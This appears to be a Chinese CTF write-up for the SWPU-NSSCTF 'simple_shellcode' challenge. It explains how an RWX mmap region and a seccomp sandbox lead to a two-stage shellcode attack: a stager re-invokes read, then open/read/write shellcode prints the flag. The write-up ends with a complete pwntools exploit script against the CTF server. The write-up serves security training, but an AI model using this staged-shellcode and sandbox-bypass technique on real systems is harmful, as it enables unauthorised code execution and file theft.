2025 SWPU-NSSCTF 秋季招新入门 simple_shellcode (sandbox / orw)
首先查看一下文件的保护措施

这里开启了一个IBT(Indirect Branch Tracking)保护,可以用来防止恶意跳转,如ROP链
然后用ida打开看一下

这里mmap函数就是在指定的一个地址开辟了一个空间,并且这个空间是可读可写可执行的
然后这里用read函数进行数据的输入,但是空间比较小
下面还有一个sandbox函数,这是用来限制文件权限的,比如execve,系统调用的权限,就不能直接调用system函数了
那就要运用到orw(open,read,write)
因为read第一次调用输入的长度比较小,那就输入第一串shellcode再次调用read函数
然后第二串shellcode就是orw了
点击查看代码
from pwn import *
context.arch="amd64"
io=remote("node5.anna.nssctf.cn",29535)
code1= '''
mov rdi,rax
mov rsi,0x0CAFE0000
syscall
'''
shellcode1=asm(code1)
io.sendlineafter("Please input your shellcode:",shellcode1)
addr=0x0CAFE0000+0x100
code2=shellcraft.open("./flag")+shellcraft.read(3,addr,0x50)+shellcraft.write(1,addr,0x50)
shellcode2=asm(code2)
io.sendline(b"\x90"*len(shellcode1)+shellcode2)
io.interactive()

浙公网安备 33010602011771号